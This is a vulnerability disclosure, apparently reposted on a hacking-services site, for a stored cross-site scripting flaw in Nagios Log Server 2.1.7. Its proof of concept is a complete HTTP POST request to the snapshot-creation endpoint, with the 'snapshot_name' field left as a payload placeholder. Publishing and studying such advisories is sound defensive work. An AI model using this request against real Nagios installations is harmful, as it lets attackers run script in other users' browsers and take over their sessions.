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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Nagios Log Server 2.1.7 - 'snapshot_name' Persistent Cross-Site Scripting
# Date: 31.08.2020
# Exploit Author: Emre ÖVÜNÇ
# Vendor Homepage: https://www.nagios.com/
# Software Link: https://www.nagios.com/products/nagios-log-server/
# Version: 2.1.7
# Tested on: Linux/ISO

# Link:
https://github.com/EmreOvunc/Nagios-Log-Server-2.1.7-Persistent-Cross-Site-Scripting

# Description

A stored cross-site scripting (XSS) in Nagios Log Server 2.1.7 can result
in an attacker performing malicious actions to users who open a maliciously
crafted link or third-party web page.

# PoC

To exploit vulnerability, someone could use a POST request to
'/nagioslogserver/configure/create_snapshot' by manipulating
'snapshot_name' parameter in the request body to impact users who open a
maliciously crafted link or third-party web page.

POST /nagioslogserver/configure/create_snapshot HTTP/1.1
Host: [TARGET]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0)
Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
DNT: 1
Connection: close
Cookie: csrf_ls=b3bef5c1a2ef6e4c233282d1c1c229fd;
ls_session=883lergotgcjbh9bjgaeakosv5go2gbb;
PHPSESSID=nbah0vkmibpudd1qh7qgnpgo53
Upgrade-Insecure-Requests: 1

csrf_ls=b3bef5c1a2ef6e4c233282d1c1c229fd&snapshot_name=[XSS_PAYLOAD]